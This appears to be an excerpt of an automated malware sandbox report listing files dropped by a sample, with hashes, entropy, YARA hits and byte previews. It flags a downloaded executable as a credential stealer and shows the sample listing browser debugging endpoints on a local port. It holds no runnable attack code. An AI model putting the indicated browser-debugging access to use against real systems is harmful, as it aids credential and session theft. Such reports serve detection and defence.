File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Reputation:	unknown
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Reputation:	unknown
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Reputation:	unknown
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.017422013220024
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXjwVzY:YWLSGTt1o9LuLgfGBPAzkVj/T8l3
MD5:	7778696445B2237D682C3011BFE499A0
SHA1:	9A81081C1BC64D5ABDA8BF3DD57F239C11C588BF
SHA-256:	DAB66A317F743E135AAED154122D6D23BFA727E48298BA221E86CC5001DD5867
SHA-512:	4F32B8C1B93829013CE288468F0275D90E10382A305E98E0E428400C953EBD077F91170AAE194B5FC99DF50A50CECDAF2C9A3EDA167AF3BC73581612042D5FB7
Malicious:	false
Reputation:	unknown
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732758761078408}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Reputation:	unknown
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c0ca9b42-e076-4a0f-a29a-79b700430a67.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	59240
Entropy (8bit):	6.099700257770299
Encrypted:	false
SSDEEP:	1536:AMk1rT8HtaMPGWv/sxtw95QObFJFol7VLyMV/YosH:AMYrT8N7v/4KLQ+vyVeZosH
MD5:	D3AFD234158FD485F3CDD4C898CB0199
SHA1:	92056778E4575793BA8ABCB128FAC1FAF8669E3D
SHA-256:	E1E7E2908D4FA23A475140B9B13074683C04A15A66D6F8625B72F4631C5125C7
SHA-512:	866E89A2CFD21DC1AB0FDE59978352E3F43C1165F6285290BDD422FC729DD711D63528A034B6ECA764971460E2231E86F044BF8B754E43D044DEA79C08390B12
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"93041360-42bb-4091-abc1-691d73fe8a50"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732657960"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\da3d8dfa-5a7e-4f25-9782-29300ac75cd0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	59163
Entropy (8bit):	6.099625065469349
Encrypted:	false
SSDEEP:	1536:AMk1rT8H1a/PGWv/sxtw95QObFJFol7VLyMV/YosH:AMYrT8VYv/4KLQ+vyVeZosH
MD5:	FFBF6FE8D3C4B24F01B939CCB9F9985A
SHA1:	3F85661BF64A6C94A70E69772CC6B85F8F00FAB8
SHA-256:	461929D3CCB4CC65D89FD8B75E931D5BD0FC0D661315C7A621057F93836410F0
SHA-512:	CA28F08C249B19D9833225245526EE56BAE82A78331F53AF8C41968E5006F5AA97F408C43CEEB78ADE8384C1F0F35C7629F14520927267F75D5A145C9B75E20D
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"93041360-42bb-4091-abc1-691d73fe8a50"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732657960"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\df578ead-f5ac-4794-8dfe-115e4bf7f4fb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103041878323793
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynnPGWv/sxtwu7VLyMV/YoskFoz:z/0+zI7ynXv/4KMVeZoskG
MD5:	62D3BE78809049BD9D926992E054D6CF
SHA1:	785A99189D0F61C73BD07E70A8E1F2EB3DA3AF6D
SHA-256:	B57FB02E89F0A97FC7BF9FC58A1B47EC7AEA0E2607C60045494DB22C261193B0
SHA-512:	930157F39D86EF734C235034043D670428B822E3DC21B78905711C8C2B89F383BE29D2A5E67C5B080FC3019BC9C145F8040EEFA6F596CC303E514D79AE3F92C9
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e4849edd-f04a-44fd-93a6-24f55f1ce1d3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	57639
Entropy (8bit):	6.103679230662512
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynlPGWv/sxtwhj7VLyMV/YoskFoz:z/0+zI7yn1v/4KBVeZoskG
MD5:	8D649F5977CBE9A4B8E80A18EB1BF3AE
SHA1:	9A148459EAA2898F242F86A2DFA5DA3C25C44BC9
SHA-256:	693BF75FBD7EBFD7F500EBD74F054E4541F62607A792251FF89FEFA3EBF6A663
SHA-512:	FF6647ED1C30D529E57C5A7BD43DDA1C62849E664D2203864022AA7EDA22042DBF574FC04F1B78250813CEAB51F1C5B1BFDF2F07059FD02D03A29241A8C8937B
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.852776996196892
Encrypted:	false
SSDEEP:	48:uiTrlKxrgx6QCxl9Il8uNlxRTI0m86mP3Z7sjd1rc:mvYHRTI0lPmE
MD5:	D37FE81C822C36CC5834D83C5BBC05AE
SHA1:	2FCB7572216353D37C3AF69204B2CE89D9F740C3
SHA-256:	F82F7F61EA02340704F1C9210BB177046E43AA86551672CB6C08367E319D131E
SHA-512:	A4F8BE0CDC426B18F8B1F21D1D601296A16324001EEB0132D603940C104AC9933839B660BBF0B24CB99437E040305EB00E74E1E2969AE3A9D082953A72D03FE1
Malicious:	false
Reputation:	unknown
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.O.w.9.5.V.V.A.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.N.Q.p.N.q.M.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.000731199420149
Encrypted:	false
SSDEEP:	96:PYHhxld4SJANkrOQwZGRuKIprrm8D8/deIIXnlcdB:Psx4SlrOnZGRuF68DyMXn6dB
MD5:	74B6E38C6A391D0FE1B5051324C14A5B
SHA1:	48199A60E9F252E0F387C992AFF96B509BA07667
SHA-256:	3959C78887242CEE5829EF064F2189FE71501ACF21359A206130305ED088135D
SHA-512:	B9AACAE7C877507BE857F69688C8CE15B6A3CE001A2734E78CF1B96C148B2ADCD17CB9C6AAA8E015F15B89D3EF28A39354DBC713917F2A947ABE8896562C038C
Malicious:	false
Reputation:	unknown
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".t.f.C.V.y.k.1.A.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.N.Q.p.N.q.M.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9122139108095526
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xNxl9Il8uNlxBgp+jFhQ+Isy34jOSeNO02NH0xASRsyiwLMDd/vc:aTYHBq+xIsPtywoA70B
MD5:	5F651731531A604CA41DFFC50D7D631A
SHA1:	923CB0408D62A4504D3F448C410061A64826C627
SHA-256:	2CADA2DBD395C1617E755E2B6BA2806DBF8C049E36683B8FBFAC81BCDC09EE7B
SHA-512:	902636EEF5447DF38735EA9C17BF4F104EC7BCEB61D5B313363749A9198F171A0371EAAAD3D0310FAC3C39C4A5F3E77C75E0EA2E4F552763185786CF88814D02
Malicious:	false
Reputation:	unknown
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".X.k.f.c.+.h.5.f.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.N.Q.p.N.q.M.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.3916588822605105
Encrypted:	false
SSDEEP:	96:6NnQvGHQv5NnQtCbQtcNnQk9QLNnQRo3Wo3MdgEQRo3oNnQgQyNnQMDQUNnQnRGk:6NON0hcNyNqomo80o4N5NB7NcRGjVNAj
MD5:	D8A574F070EE076A178B112177FBEA21
SHA1:	B044571E9FF80E07641DFC1A15D5C38C7D14443A
SHA-256:	E4DF45CC894A6F7928CDDCB9AB7F2F30E507EF3C3AA8417243E461BF4E53AC61
SHA-512:	5C61C735EB42F8F107DB2C1AA0CEB3196B87B31ABCB8546418E6B52ABE5599EEF03FB79359D47BF0079FF29242E8AFAD3BA7DAC5147387CB3C4898A247923709
Malicious:	false
Reputation:	unknown
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/E1486ECCAF2EFFF4B679FA5F90AD7617",.. "id": "E1486ECCAF2EFFF4B679FA5F90AD7617",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/E1486ECCAF2EFFF4B679FA5F90AD7617"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/6D2B2D4FE37A583452C40C69B8CA9938",.. "id": "6D2B2D4FE37A583452C40C69B8CA9938",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/6D2B2D4FE37A583452C40C69B8CA9938"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\filer[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	26987008
Entropy (8bit):	6.688564756632582
Encrypted:	false
SSDEEP:	393216:sN/jPM/y7B3Zdp1uPGiSPWw1JDte23oZohZ:sN/wq7Vfp1uVS+w162Ph
MD5:	9096F57FA44B8F20EEBF2008A9598EEC
SHA1:	42128A72A214368618F5693DF45B901232F80496
SHA-256:	F4E2EEEA7E5DB511BFCA33FFD1E26BCE5D72E2A381E84BF3700938EB404F7934
SHA-512:	AD29F94040532AB78679EC9E50D58D8CCEF3F99D5AB53EF7C654527B9B2634DA4C44375B2CA2D54A83D1DD1E0FA9B1D1A13241FFE0328BEA07740166927521B2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_CerbfyneStealer, Description: Yara detected Cerbfyne Stealer, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\filer[1].exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 24%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................'.\|....................@..........................................`... ......................................P..Y....`..h%...........0..,................[..........................@...(....................h...............................text....z.......\|..................`..`.data....!y......"y.................@....rdata..Pl.......n..................@..@.pdata..,....0......................@..@.xdata..hP.......R.................@..@.bss.........p...........................edata..Y....P.......@..............@..@.idata..h%...`...&...D..............@....CRT....`............j..............@....tls.................l..............@....reloc...[.......\...n..............@..B........................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
